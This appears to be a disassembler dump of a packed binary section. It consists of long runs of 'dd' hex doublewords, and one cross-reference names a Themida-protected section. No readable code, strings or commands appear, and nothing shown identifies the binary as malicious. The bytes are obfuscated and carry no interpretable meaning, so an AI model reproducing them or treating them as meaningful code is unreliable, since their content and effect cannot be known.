		dd 94F77C5Ch, 90E7EFC0h, 9FD8FECFh, 0D3B2D6B7h,	60086D1Ah
		dd 9D7h, 4F106B70h, 5B1C5B7Eh, 692A4D8Ah, 793A4598h, 88492EA8h
		dd 775F462Ah, 646E3F00h, 63794A0Bh, 52865718h, 0E1B56425h
		dd 3C26A73h, 6E27AB55h,	2795696Dh, 5AF199B6h, 2BBC355Eh
		dd 37032FA1h, 0DCB071D4h, 62437C0Fh, 0B74FB87Fh, 0C485F2E6h
		dd 28966A0Bh, 5AF199B5h, 99F3EA58h, 0BF225AF1h,	2CB11FF3h
		dd 0E95AF19Ah, 2E8B2386h, 0ECF15F7Dh, 295AF199h, 0C28F63C6h
		dd 9AABE8B5h, 7E52EADCh, 18B8A010h, 805C2D5Fh, 0C82B8EF3h
		dd 0B5E4F563h, 0F35A5508h, 0A30607EEh, 0B8A2B8C8h, 0E9000000h
		dd 0A3086B6Dh, 66B04D2h, 0F19DFC98h, 2F44945Ah,	383B9D6Eh
		dd 0AAB576D3h, 5132E02Dh, 835A232Ah, 7BE9BD20h,	5F18E649h
		dd 0D4A869CCh, 0E44B9200h, 0F6CA5508h, 8E45588h, 0FA5DC055h
		dd 0A74A0562h, 867F65D3h, 73D65932h, 6F08CE9Fh,	9806DAAEh
		dd 4F1E3E45h, 4D56DD0h,	539C33D2h, 0B0565E92h, 909E654Dh
		dd 0C0251AD2h, 8CA18h, 135E7D00h, 1D588152h, 294C8B5Ch
		dd 37469768h, 3E31A576h, 543B1F7Dh, 5B2CED82h, 6637F877h
		dd 77480976h, 0A6551661h, 0C17964D2h, 189C5503h, 6696D5Fh
		dd 0F647445h, 0E4F9673Bh, 305AF199h, 0F4C8F660h, 97FAC6B3h
		dd 6D853EFFh, 9ECF9E6Bh, 56CB335h, 9C693DA2h, 0A0CE5DE6h
		dd 2E499484h, 2F0366C9h, 0F18A1CC1h, 0FE96F95Ah, 7C8AB2Dh
		dd 784CE1AAh, 0E183D7A4h, 48E366EBh, 1D80E58Ah,	70B422BAh
		dd 655F1930h, 0CCC9D02h, 3D5A667h, 5B9D0B70h, 65D7CF45h
		dd 0A434E3FEh, 9B3D0ECFh, 0D30573D8h, 63CDC302h, 5623E5FCh
		dd 0E20B4725h, 6E4280h,	0CDC2A1DDh, 6C3DD538h, 7546076Ch
		dd 3DAB1063h, 17DF6C67h, 71A33EA5h, 2A73C2A4h, 0F890ECAEh
		dd 5C6B127h, 0FF7C6031h, 35429667h, 15B873D0h, 11667041h
		dd 0D1A579h, 0B39B32D7h, 0DD9E8B91h, 0C74E27Ah,	81D1EB6Eh
		dd 4856E0B4h, 95F883A6h, 0AFB477D4h, 0E67FAB87h, 0FE346A3h
		dd 36FBFA1h, 0C62B8ECCh, 0F36F8058h, 244F88C1h,	1FEFEEBFh
		dd 0F36F2CB1h, 2386E9C1h, 0E3FE65BEh, 41A007A2h, 0DE68B3BAh
		dd 4575525h, 0D09C0000h, 5AF19A0Dh, 0F18A7366h,	88B9F85Ah
		dd 67725AF1h, 155AF186h, 5D8465Ah, 105AF186h, 8764AADh
		dd 5F197A68h, 9F9A82E5h, 6414E9EBh, 75957FFh, 0EDEE0000h
		dd 0D900D192h, 0CB0CDD9Eh, 0C716E7A8h, 0B026F7B8h, 0C4A806C7h
		dd 0B576F9DDh, 0C081EEE4h, 0D192EDEFh, 0DA9BD800h, 0F4E9572Bh
		dd 215503BFh, 6B6DE49Dh, 2CFA308h, 0CCFB5085h, 27841C24h
		dd 24F5C964h, 4F23BBB8h, 1B9C21E1h, 2A986C5Fh, 550312B3h
		dd 9B67FF62h, 1E976438h, 211894B7h, 25B826FAh, 0F0550371h
		dd 0BA34F58Dh, 0B558135Fh, 3E9F0DE1h, 0D7550371h, 71489503h
		dd 6ACD5503h, 2D9B6F07h, 592B909Fh, 5BC91376h, 0E9BA5CBBh
		dd 0FE38E41h, 0E22423A1h, 2A8FF2A3h, 9B6F02CDh,	0AB65FAC7h
		dd 0E507D644h, 0AB0E99D1h, 952335DEh, 86FB8FFDh, 0C69A9DFAh
		dd 0EA468558h, 592D9093h, 0EA45F2EBh, 5DC02393h, 5320B889h
		dd 5C17C192h, 695FB74h,	3BE348D6h, 67Fh, 0A76813C8h, 0B37403D6h
		dd 0C182F5E2h, 0D192EDF0h, 0E0A1D600h, 1FB79E82h, 0CC69758h
		dd 0BD1A263h, 0FADEAF70h, 390DBC7Dh, 3BF12CBh, 0C67F0355h
		dd 0A9192EE1h, 53021169h, 167BF8E4h, 19ED50B3h,	194F79ABh
		dd 94F95C5Fh, 0FD6215C3h, 0D7FFD0A4h, 40D83BA0h, 0B27D08D9h
		dd 47DD4B1Fh, 8E593142h, 0F75A15BDh, 3711C836h,	835A4F21h
		dd 14F2137h, 61CFA34Eh,	534BE9A1h, 0BE2C91F4h, 4933611Ch
		dd 502C4B57h, 0B2538593h, 8AED5225h, 0F8D63F27h, 0B81D00BFh
		dd 5E610h, 0FF7A6100h, 96C6D3Eh, 15607748h, 1B5A8354h
		dd 2A4D895Ah, 40270B69h, 4F20E196h, 5A2BEC83h, 6334F582h
		dd 92410275h, 0BF8D50BEh, 4885503h, 3F996A4Bh, 8C3F9C34h
		dd 68390DE1h, 16F0774h,	5F1C4C01h, 41EBF8Ch, 69B88904h
		dd 0A53405D1h, 5BA305D2h, 3D8AEB0Bh, 34A475DAh,	69217E3Fh
		dd 9E1FECC0h, 581C84C5h, 2D0166FEh, 94F9765Ch, 10C89931h
		dd 7D1A263h, 6233076Ch,	98690176h, 2BCE3340h, 0EAEE1DC4h
		dd 1527B123h, 0F9E3B0C3h, 0B778DB92h, 3CA10FE3h, 0D955047Eh
		dd 78F5DE76h, 90B8CD5Bh, 193h, 832EE1D7h, 3607DBAFh, 7667D5A2h
		dd 9F5AF19Ah, 4A36A43Ch, 3B5F1997h, 96E4F967h, 0BB295509h
		dd 55099722h, 61C490F3h, 359AFDC9h, 99710C7h, 22BF2655h
		dd 3509A467h, 3194B9C7h, 0D3FFCC59h, 397DCB73h,	98FBC75Fh
		dd 0A5D206D7h, 0A4696F40h, 0D2E3D7EDh, 0EBBF2204h, 8B4CBD1Ah
		dd 0BD2083E8h, 44076425h, 0E967D5A9h, 24534907h, 0EBEE5CC1h
		dd 534938FFh, 0FFEF5ECh, 99AC98D9h, 39h, 5A83F1C5h, 0BB493908h
		dd 0E107C058h, 0DBAF832Eh, 0CA4D30Ah, 1991129Eh, 0F358BB5Fh
		dd 98E5485h, 5E83EA55h,	74FBDBACh, 0DC9B3E0Fh, 75F8E179h
		dd 93B8C84Bh, 0B5h, 9A6B6DDAh, 8459C73Fh, 915AF19Ah, 366CB2Eh
		dd 0DEFBCCA0h, 0A42CCA97h, 0EC978A24h, 4E1BEF54h, 0D15818E0h
		dd 0C8993156h, 0C895690Eh, 769FD7B9h, 0D93ED6C4h, 3EA3D008h
		dd 47086B6Dh, 0F150BBD9h, 7003D55Ah, 0D90EDBAFh, 5E65BF3Ah
		dd 9952AF47h, 0C0255286h, 0B826FA5Dh, 5F1A59A6h, 6D0ACE9Fh
		dd 0D3383B9Ch, 0A90CD870h, 9DD204D5h, 0A4CB0BDCh, 0EA489FBCh
		dd 973FA414h, 40Bh
		dd 13D49F3Ch, 1FE09742h, 2DEE894Eh, 35F6815Ch, 3CFD7264h
		dd 0C313FADEh, 0B81AEBACh, 0B725F6B7h, 0AE2AFBBCh, 855908C9h
		dd 3BCC617h, 12CB4F55h,	4506696Dh, 4E0F6474h, 3E996A95h
		dd 0D36BCE33h, 0CDA1D602h, 98DBFCh, 0DCF6C79Bh,	5EC1B425h
		dd 2DFE96F9h, 9BC05EABh, 0F76EA7B8h, 0D01AD394h, 5AF11A09h
		dd 0F11A7762h, 0A74A055Ah, 0A2D502D3h, 3AC8360Ah, 535F1BCCh
		dd 43CC117Fh, 0E6495503h, 2BB1824Eh, 2588EB50h,	5A863C0h
		dd 5555C331h, 6738592Bh, 3B9E0372h, 4659F0D8h, 7DE21AD7h
		dd 366D5h, 7FFAE100h, 89ECEDBEh, 95E0F7C8h, 9BDA03D4h
		dd 0AACD09DAh, 0C0A78BE9h, 0CFA06116h, 0DAAB6C03h, 0E3B47502h
		dd 12C182F5h, 0BC0DD03Eh, 84085503h, 86B6DCBh, 0FF766334h
		dd 5D2E0267h, 8D5EF679h, 0A67284Bh, 4D8AC41h, 0F19A4796h
		dd 0DCFDCE5Ah, 6ED13499h, 0BC9402D6h, 515F1993h, 93491AEEh
		dd 7DEB50E8h, 55098C5Ch, 0E3482BACh, 47ACCB12h,	0E5964BB2h
		dd 38A5764Ah, 0A33EA53Dh, 0C84DD15Ch, 28F7B8h, 0E13E0000h
		dd 41AF832Eh, 5F19916Fh, 294C8D5Eh, 0E6F361C6h,	5855098Eh
		dd 409F0F1h, 34B8C84Ch,	67FF7663h, 11603h, 6B6D4A00h, 0D237389Ah
		dd 399CD701h, 0CC9D71D6h, 0A2056A0Dh, 0DA9D390Ah, 0CCA73506h
		dd 37409667h, 3D73CD4h,	4940C36h, 7760C96Ch, 0BACC99FCh
		dd 720AA284h, 0D503D46Ch, 6C6C3DA2h, 0BCD84607h, 0D45AF0A7h
		dd 0B7070504h, 0D2E4F07Fh, 0AA0D7007h, 984415E9h, 3AE1FC6Ah
		dd 0D1345AF1h, 2C3C096Eh, 3F841461h, 0ADB73D6h,	0D3A23BCEh
		dd 43A80B6Eh, 0A91725E6h, 5AF19134h, 3E9F0DE1h,	0D75AF191h
		dd 0DAAE1174h, 1977346Ch, 1CC0915Fh, 38DB52F5h,	0A50863B6h
		dd 1DDE410Dh, 8E620FC0h, 0BD5520BDh, 6F17BE9h, 1645933h
		dd 0F2EB592Dh, 234F1EC4h, 835428C0h, 4B24AE53h,	805627E8h
		dd 14240FF7h, 0A60B1AD3h, 1F2FEh, 0EB865500h, 0F580592Ah
		dd 1746334h, 0F6E6F40h,	16597D4Eh, 2C13F755h, 3304C5AAh
		dd 3E0FD09Fh, 4F20E19Eh, 7E2DEE89h, 0BAA13CAAh,	0F0745503h
		dd 98696D37h, 8756C43Ah, 8E5AF19Ah, 0A465C82Bh,	4F8EFCD0h
		dd 0C65AF19Ah, 0DEFACB63h, 0E11FD899h, 41AF832Eh, 5F19916Fh
		dd 5327FB5Eh, 98EF8E5h,	0E9BA1D55h, 0C12489F4h,	8356C429h
		dd 0BB55098Fh, 0B8C716E7h, 0F158F053h, 854D1EF0h, 0E46952EAh
		dd 94B8C84Ch, 0C35B1AC3h, 0D45Fh, 9D6AA600h, 8302611Ch
		dd 6A3BD3C9h, 0D3A4096Eh, 99076C03h, 5AF19CFBh,	51BF4395h
		dd 5AF1948Ch, 82552689h, 0FACB8CEFh, 23BA28DEh,	0F25AF194h
		dd 5FC2B521h, 713A97FCh, 0C63408DCh, 5AF19417h,	359ADDF9h
		dd 0BA306D2h, 79D7C937h, 93F65F19h, 17BA75D2h, 1B36D543h
		dd 0FC5F5933h, 0F87F5728h, 218F6337h, 4F1ED2BCh, 0D2FAE351h
		dd 0B81B4F1Eh, 0B8B71BECh, 0EAECBD55h, 50B3C217h, 0D306D568h
		dd 61096E1Ah, 0DFh, 47087368h, 53146376h, 61225582h, 71324D90h
		dd 804136A0h, 7F573E22h, 6C6637F8h, 6B714203h, 5A7E4F10h
		dd 0D9AD5C1Dh, 3BA726Bh, 661FA355h, 0B528966Ah,	605AF199h
		dd 429465FDh, 3D9B6C2Dh, 2DFF06CCh, 9B0995E0h, 0E4A5086Bh
		dd 44996A2Bh, 0D971D439h, 3EA3D008h, 47086B6Dh,	0B88C21EAh
		dd 1C4CB44Ah, 0D108D95Fh, 9E6F43A6h, 7E5FCD39h,	975503C4h
		dd 9B6CD134h, 3ED6393Ch, 0A3D008D9h, 0CC3A0EE2h, 5503C411h
		dd 3809A104h, 6ED3A0h, 3B3E3AD9h, 72A140A7h, 693D1166h
		dd 2638E2FBh, 38D03339h, 0DB32A677h, 0D179D501h, 7A623389h
		dd 0D23598FDh, 36419C6Dh, 0A87C50D1h, 259BA33Ah, 770F7239h
		dd 9642D110h, 894F20E1h, 0E8B589EEh, 7DF6067Eh,	1DC55DB6h
		dd 3, 6DD38C64h, 0CD9E036Eh, 3203680Bh,	9768CDAAh, 0FECF343Bh
		dd 693A9FD8h, 0D4A50A6Dh, 38096E09h, 9E6FD49Fh,	50D73C3Bh
		dd 815D5455h, 4C5h, 4ED8300h, 5C242C87h, 6E0868h, 241C8900h
		dd 5E08950h, 4,	42Dh, 24048700h, 2414895Ch, 0D6C2B850h
		dd 5B5005EDh, 148B5458h, 4C48324h, 8B951h, 0D1010000h
		dd 0C8B1989h, 4C48324h,	5324148Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 1C8B5C24h, 0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 60D7E95Ch, 586EFFFBh, 0E1FFB852h,	0C50305EDh
		dd 0DB48E0FFh, 0EDFC45DBh, 0AD6285h, 29097536h,	0CC783AE5h
		dd 0D2731F15h, 9C2E468Ah, 9A990BC0h, 97F334A6h,	0FDCF0ADEh
		dd 692F3F52h, 2F492387h, 0B7C348C4h, 0AA0805BCh, 61305BCAh
		dd 65AC495Eh, 0E9547C3Ch, 3B6415Dh, 13882F61h, 2DFC766Ah
		dd 0C06D4029h, 0D0B068D7h, 84CD495Eh, 1815B60h,	130F0258h
		dd 8D8D2344h, 5EDE3A6h,	895EFC50h, 0E8159D8Dh, 3DF28105h
		dd 0C7574C6Fh, 0E8070585h, 68B005h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 7E97D01h, 9D8B9183h
		dd 5E830D1h, 2C7DB509h,	85C705E8h, 5E80A61h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 3FC35040h
		dd 5A241A04h, 0B5FFB8DBh, 5E810D9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 4AC35646h, 0ADB50B0Dh, 105E813h
		dd 0E826018Dh, 1595FF05h, 0F05E808h, 387h, 0C6B70F00h
		dd 95FF006Ah, 5E820F9h,	4BEBC08Bh, 8CCAE837h, 0D94EDFE2h
		dd 5DF728B4h, 0FF290F43h, 1325D5F3h, 55F67260h,	1B98DCB9h
		dd 41AD0428h, 0BAF195C6h, 0A420E6C1h, 76CC2D5Bh, 8C05F869h
		dd 33970127h, 8EC57046h, 1DC0A7BEh, 92EF8CCDh, 0A9D423AFh
		dd 0B357B0D7h, 0E8442F54h, 0Dh,	0D466CB7Ah, 16E0EE02h
		dd 0A1DE0F42h, 219D892Eh, 5B05E824h, 79FBA66h, 7175C381h
		dd 7E90000h, 78000000h,	339F2CA2h, 0C02B94CEh, 5EEE8A51h
		dd 8B1834FFh, 0E802F595h, 8D295F05h, 5E81341h, 8754C781h
		dd 8E91FF4h, 63000000h,	1FFEF111h, 817A9D44h, 0C41DA8EFh
		dd 0E1B58B5Bh, 8105E81Ah, 0D0D8E9C7h, 6840F55h,	29000000h
		dd 0E829E985h, 8D895705h, 5E82955h, 8B03048Fh, 0E8100D8Dh
		dd 89B53105h, 8305E830h, 9E904E8h, 65000000h, 152E5705h
		dd 0DD2EEF78h, 8F40F881h, 850FFFFFh, 0FFFFFF8Ch, 0F880Fh
		dd 0AE90000h, 6C000000h, 0D47F8B70h, 76C34F55h,	7E896h
		dd 0B81F0000h, 0C1F0A010h, 0E081667Ch, 895F3EE5h, 0E8294995h
		dd 9CC78105h, 8B000064h, 0E8194595h, 0D6D2BB05h, 0EB815D47h
		dd 5D47BDCAh, 378B84B0h, 2FD58D8Bh, 0F68105E8h,	7BE3DBC9h
		dd 81D0BF0Fh, 8B6C98F6h, 81958B5Ch, 8105E830h, 917F7EF6h
		dd 89CC8A5Ah, 0D1816637h, 0EF81BA4Ch, 27A62A43h, 0ECEDB966h
		dd 2A3FC781h, 665327A6h, 58B7E8B9h, 1EB81h, 850F0000h
		dd 0FFFFFFB2h, 13718D8Bh, 8D8D05E8h, 5EDE624h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A1C35646h, 0E81108AAh
		dd 693B5CD4h, 11E9h, 0D7217B00h, 0C8AE73F8h, 65B218FFh
		dd 49155953h, 8D895969h, 5E8159Dh, 10A99D03h, 85C705E8h
		dd 5E80705h, 5AA0h, 8D0Fh, 85C70000h, 5E80A61h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 54C35242h
		dd 58DF9CBFh, 1CEB4DADh, 29B5FF18h, 0BB05E80Eh,	344F792Bh
		dd 81595FFh, 6A05E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 8F7751C3h, 24830Fh, 0E9600000h
		dd 9, 2D0DF6BAh, 0FE0244BEh, 0FE92Ah, 0ED280000h, 676743B5h
		dd 0AA77865Bh, 0EFC1558Eh, 6A61B1h, 20F995FFh, 0C08B05E8h
		dd 0FE915CEBh, 68E386BFh, 0A20CC77h, 0D41C870Eh, 0DFDD1830h
		dd 4B518213h, 0FEF64D26h, 0EAD682B6h, 3D1ED6DEh, 30722237h
		dd 0D3064D36h, 0F75E8B01h, 76969EC3h, 96E68FC3h, 289F5B0Eh
		dd 0DFFEB138h, 3FE8728Ah, 583492B2h, 4C029268h,	8EFBE533h
		dd 5E885854h, 4AF39ED6h, 4BAB297h, 79EBE337h, 0EF9E7D00h
		dd 0FE2218Ch, 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h
		dd 9BB69CB5h, 0B6F37760h, 9EB794A9h, 7D60D760h,	9EA9BD89h
		dd 729EBD8Ch, 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h
		dd 94A19E96h, 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch
		dd 0F357DB4Dh, 9BB7D65Eh, 0AFF600B7h, 9F8995ABh, 7156F000h
		dd 0BEB3D7C7h, 56711800h, 0E2ADC4D7h, 0C19E5C73h, 0FDDE901h
		dd 0EE680000h, 0E905EDE8h, 0FFFA9792h, 0EDE9FB68h, 9788E905h
		dd 0C868FFFAh, 0E905EDEAh, 0FFFA977Eh, 0EDEC3668h, 9774E905h
		dd 0DB68FFFAh, 0E905EDECh, 0FFFA976Ah, 0EDEDA168h, 9760E905h
		dd 2468FFFAh, 0E905EDEEh, 0FFFA9756h, 0EDEED668h, 974CE905h
		dd 0BF68FFFAh, 0E905EDEFh, 0FFFA9742h, 0EDF08068h, 9738E905h
		dd 3868FFFAh, 0E905EDF2h, 0FFFA972Eh, 0EDF47068h, 9724E905h
		dd 6F68FFFAh, 0E905EDF5h, 0FFFA971Ah, 45E6DE53h, 0C96A52D3h
		dd 4EEFDF57h, 0D5765ADCh, 56F7EF63h, 2226C797h,	0A0A719BAh
		dd 2E299B3Ch, 0B9AF21C2h, 5240A445h, 0B61F03B7h, 4631F3A2h
		dd 7E7546CCh, 0F1C73E83h, 34221076h, 0C8A3E599h, 116FD59Ch
		dd 0C35E4C3Ah, 9CC8A40Fh, 271F91F7h, 1C7AE0B7h,	9F40A4AAh
		dd 6B5980BFh, 0E075A1D0h, 0E27D6B96h, 0A2B09A2Eh, 0CA3EB016h
		dd 46AC74D2h, 150F816Fh, 0E6CD2A9h, 0B099BB73h,	176AC2A2h
		dd 6A554593h, 30090Fh, 5E1E0000h, 6F0AF81Fh, 96E00C20h
		dd 88FAE84Eh, 0AA12138Dh, 740FE644h, 0A2B042BCh, 0E263D5C3h
		dd 218F88FAh, 94166BC3h, 0F6A0246h, 0FC0Ah, 46CC1F00h
		dd 2B9D8B62h, 0F365C32Bh, 11F57B7Fh, 976ED43Ah,	0BBAF2F25h
		dd 0A0066C43h, 0EDD157C9h, 0D5705E4Ch, 9CC83821h, 0AA45A309h
		dd 9CC8340Bh, 9FD73E5h,	0FC6ECC32h, 32A49276h, 0CC6DCB31h
		dd 1E76CDEh, 0F466C42Ah, 6E709D7Eh, 0E336AAA1h,	1177C40Eh
		dd 58DA4C3Ah, 6F9D51ECh, 278D9CC8h, 448363C1h, 0F9942F1Dh
		dd 0C196E03Eh, 0C11A6D5Bh, 0D4700FB6h, 806E0F6Dh, 36A8140Eh
		dd 8FF5CC30h, 0EB125131h, 9E9462FDh, 7AE09CC5h,	0AE161A8Ch
		dd 96311F0Dh, 9CCAD0E2h, 0E7BE2228h, 0F553B981h, 0CD178F83h
		dd 0F1D31F00h, 6A83370Eh, 0BA00000Dh, 3AAC4DB7h, 0BE30D13Bh
		dd 43B55646h, 0CA3CDDC1h, 0FEBD5E46h, 21858D5Eh, 0A3190E80h
		dd 29979002h, 0AC101688h, 1EB9A70Bh, 0A2B6206Ah, 50AD985Ah
		dd 9D7468DEh, 0E367D937h, 62E85AFBh, 251E907Eh,	1C7AE0B7h
		dd 1B1B8D7Bh, 1876DCB3h, 0F81F5E2Dh, 437B70Ah, 0C57EC87Bh
		dd 739E2572h, 0DA38994Fh, 4F0251ECh, 0A7096E0h,	0DF932E1Ch
		dd 3CA2B07Fh, 0E4706B20h, 6BD1996Ah, 0D67B8E18h, 6DCB4892h
		dd 2C43FB96h, 0F24AA2B1h, 0EBCD1B8Fh, 0BA910F6Ah, 0A3000000h
		dd 291B6B50h, 7DDBAEA6h, 6246CC92h, 970D0274h, 21746239h
		dd 0EF14B5FCh, 4ABC1AE1h, 6C07DEC6h, 9CC88FCDh,	4BBFB527h
		dd 11F57BEDh, 5864D023h, 0C6804B2Ch, 13EADE54h,	3CAE4FADh
		dd 1BFBD236h, 2CC7B5DCh, 96E08391h, 8B73F769h, 47E84EB4h
		dd 13012867h, 0CAFE7D78h, 0CF04579Ch, 0BC660D04h, 177D45A3h
		dd 4BB3B729h, 0CC3038AAh, 0D335AB82h, 42F6CDF1h, 0C5Dh
		dd 0B95A42C7h, 3DDECE47h, 0C2634BCBh, 49EAD650h, 0CA6B53D7h
		dd 969A530Bh, 141B8D2Eh, 9A9D0FB0h, 2D239536h, 0C6B418B9h
		dd 0B621772Bh, 0B29D5FA2h, 3DD844CCh, 9CC83889h, 4A50B71h
		dd 87289C92h, 6246CC9Ch, 2713198Bh, 0C837D88Ch,	0F45AC09Ch
		dd 7965E153h, 0AE12198Bh, 3C1371D7h, 0A628FB4Eh, 0B93EC478h
		dd 7F63E95Bh, 5AD58EDEh, 0C23C9E07h, 0F250FC35h, 0A6A0D312h
		dd 0F1C8342Eh, 0E84E258Bh, 76F99482h, 2496E078h, 0F2A944BEh
		dd 0C8AD2B26h, 0D9746289h, 89428F5Eh, 0B4F32376h, 1007EF1Fh
		dd 9684EAB2h, 0AAAC2C24h, 0A309E046h, 4F8E6E45h, 0B79F3A28h
		dd 0C78E6834h, 0B017361h, 8E84F697h, 88E7D01Ah,	4E25E431h
		dd 0B909Ah, 279D9400h, 0AB111486h, 309C980Ah, 0B71B1D8Fh
		dd 38ACA416h, 6704D897h, 0E85AFBE3h, 6ADC7D63h,	0F06203E9h
		dd 81E5867Ah, 2244F893h, 7234A2B6h, 6246CC87h, 9A020274h
		dd 8977653Ch, 0C8383AEEh, 66C42A9Ch, 32204786h,	0E015BC97h
		dd 73147A96h, 3F2D5493h, 7965DF51h, 0B05A2ADEh,	0A3A81AA2h
		dd 8B79D73Dh, 0C83F55F0h, 0D1BF259Ch, 98F6E65Fh, 0E661D3C1h
		dd 49019CFAh, 509CC871h, 0D32189F8h, 32098230h,	64F5A944h
		dd 7FE59CC8h, 409821h, 38AA0000h, 836ECC30h, 0AF81F5Eh
		dd 0E0CA9D6Fh, 7D6BD196h, 3A4080Bh, 4CADA315h, 3B61CE6h
		dd 3D147AE2h, 24DE79D7h, 6EA2B096h, 0F16304F8h,	0C5B38A76h
		dd 73F072h, 2B89BB74h, 0AC077h,	1F5E8C00h, 0A778160Bh
		dd 0C8FC580Ch, 87DA409Ch, 56BCEE83h, 2BDF7A68h,	1B9CC88Dh
		dd 0CE6957B5h, 96DEA62Ah, 148674DAh, 1B09AA1Eh,	0E442AEA9h
		dd 1A08FC72h, 653CA0A8h, 0DAB6ACFFh, 553438E6h,	14020F7h
		dd 0F499ECDAh, 0BFAA3C28h, 9B89E7h, 9CCB77CBh, 796755BBh
		dd 0C8F82ADEh, 61B41A9Ch, 517B761Bh, 2F04E85h, 38269A90h
		dd 456C55E5h, 6CCA47BDh, 0EFD359CBh, 0E5F93818h, 78146044h
		dd 513FA5A2h, 0E1C22FB6h, 0C347B996h, 43B57DDBh, 2D77DDC1h
		dd 0F7B9707Ah, 2201B58Ch, 200000Ah, 82F4950Fh, 6781983h
		dd 8BFD9E0Eh, 12842589h, 4605A61Eh, 695DD596h, 0EBD156C8h
		dd 715FD84Ah, 0F4E85ED0h, 6601EF53h, 0A2B623B2h, 0A3F5E0A2h
		dd 9CC837EBh, 6F5D84C3h, 720D79FDh, 9CC837BEh, 3DA40A6h
		dd 63513F9Dh, 0CD678710h, 2482B6C5h, 0DEFF7C89h, 0E6D43A96h
		dd 0E580FC74h, 0A2B58031h, 764DB319h, 35A79E10h, 0AC9AF85Eh
		dd 43C4343Ah, 0E456F75Dh, 8F46E6Eh, 2878CB31h, 96BF781Ch
		dd 0D5B58CF2h, 0FBE36396h, 0CA4CBE24h, 43A90FE6h, 0DBDFBA55h
		dd 31979CCDh, 0D66A32E7h, 0C57950F1h, 97Dh, 993AA2A7h
		dd 1DBE2E27h, 0A243ABABh, 29CA3630h, 0AA4BB3B7h, 0F67A33EBh
		dd 74FB6D0Eh, 0FA7DEF90h, 0D037516h, 0A694F899h, 0B624570Bh
		dd 927D3FA2h, 0AC54FD50h, 53DA3664h, 198D83F5h,	665AD042h
		dd 0BEC31B8Fh, 82359EECh, 41D6209h, 5E770000h, 1C0AF81Fh
		dd 0C837CD81h, 0F957BD9Ch, 516F700Bh, 0A6F996DEh, 0DF85971Bh
		dd 63FEEC31h, 0A2B5E4AFh, 0BD33197h, 0CF45B7A5h, 0E504B853h
		dd 6F4A2B5h, 0B5E4B76Bh, 0D3399FA2h, 502C7F6Dh,	0C34AC0D2h
		dd 1E8285F7h, 0A7AD1FC0h, 55480B56h, 0E74D4110h, 0F2BD7510h
		dd 5695A2B5h, 0E0EE412Fh, 0A99FB041h, 1BB6A402h, 9CCDBB40h
		dd 874690F6h, 0B9F1D60Ch, 8B72EE2h
		dd 0E46D0000h, 68ED5F00h, 0F571E384h, 7CF66809h, 0F57DEF90h
		dd 0EDB17011h, 33D4C840h, 0B5564AC1h, 3BDCC043h, 0BE5F43C9h
		dd 1DD16C5Ah, 0DA2B625h, 46CC604Bh, 13198B62h, 0C64D8AFh
		dd 0F3E73575h, 60AB0981h, 0C0000003h, 0C837EBA3h, 5D84C39Ch
		dd 518DD46Fh, 0CFBD96DEh, 0B61E8034h, 5349BEA2h, 0E84E167Ch
		dd 2C229482h, 0AFA517B8h, 4584643Bh, 0BA95301Eh, 809CCDFBh
		dd 4A3FD01Ah, 764DF1D6h, 834C2h, 8379F000h, 7F570E2h, 8C70F466h
		dd 13FF79EBh, 94080072h, 0C36834F3h, 44B6574Fh,	0C638D9CFh
		dd 4CBE5F4Dh, 0DD41E2C6h, 25A054EFh, 0C688A2B6h, 6246CCDBh
		dd 37EB8674h, 759CC838h, 0D0420AFEh, 278D6458h,	9E8C63C1h
		dd 2D0E7D4Bh, 6447D8D7h, 46C61996h, 2799F795h, 72E6BD21h
		dd 0F543671Ah, 0B9098261h, 2BBh, 37EBA3CEh, 43B59CC8h
		dd 9D7DDBC3h, 0AE49375Eh, 96DE516Ch, 5ACCBA20h,	9002F0D4h
		dd 1D31399Ah, 23AC1E81h, 2280E6BDh, 0A5190F81h,	88AFEECEh
		dd 3B3AAC9Ah, 3694FAD1h, 0CD234C9Bh, 7AC42A9Ch,	0F1D599DFh
		dd 82762A01h, 0A2000007h, 229435AFh, 0A618B923h, 2B9D3EAEh
		dd 0B224C529h, 0E6A546BEh, 9FD7536h, 8B71F668h,	11FF78EAh
		dd 9408FE70h, 6A18FF3h,	0A2B62652h, 50958042h, 54EF65DEh
		db 0A0h, 37h
word_5A083A	dw 9CC8h		; DATA XREF: Themida_:0055252Do
		dd 0E5BC2288h, 0B9AF217Fh, 76FC6E45h, 431A8286h, 0D1A077DDh
		dd 0A65AF5E3h, 8E9CC837h, 0F72CA28h, 0FC9D0107h, 369A9C0Eh
		dd 0F7ACFAD8h, 990B0981h, 0F359309Ch, 0C0C95h, 8A210000h
		dd 1F7h, 0C12B2A9Ch, 62507863h,	0C83813C7h, 3F9D039Ch
		dd 0C837EEA4h, 587FBE9Ch, 517CCF6Ah, 84EA96DEh,	0B1232496h
		dd 0E744BB7h, 0EA5C4AA8h, 0F1DF8064h, 92A879Eh,	40A7B37Fh
		dd 4B6ABD01h, 72E442D4h, 0A81A08FCh, 0FF653CA0h, 0C422868Dh
		dd 0A7CE0DEDh, 0DDC147B9h, 5442A006h, 0CD9B6AB9h, 9F96089Ch
		dd 8AF0562Dh, 0D621A340h, 46FAD1F1h, 699h, 7D1E868Bh, 1A20A0Bh
		dd 8627978Fh, 0DAE1214h, 8E2F979Bh, 0EA5E0FCFh,	68DF51F2h
		dd 0E661D374h, 61E759FAh, 8A78DC7Dh, 0B6273BEFh, 7E692BA2h
		dd 746246CCh, 3837EB86h, 0F0759CC8h, 80DE440Ch,	0C13137A9h
		dd 18EF5549h, 8690F149h, 0BC2E1C80h, 52F351B7h,	81F72674h
		dd 11EA09h, 50FF0000h, 57765DEh, 5EC49B0Fh, 1194C00h, 0A3610000h
		dd 9CC837EEh, 6C5A81C0h, 0DE5125D1h, 0A18FF596h, 0A23D392Fh
		dd 0A2B61DEEh, 994DE8D6h, 81A2B61Dh, 0AE4FB51Bh, 0FBD2363Ch
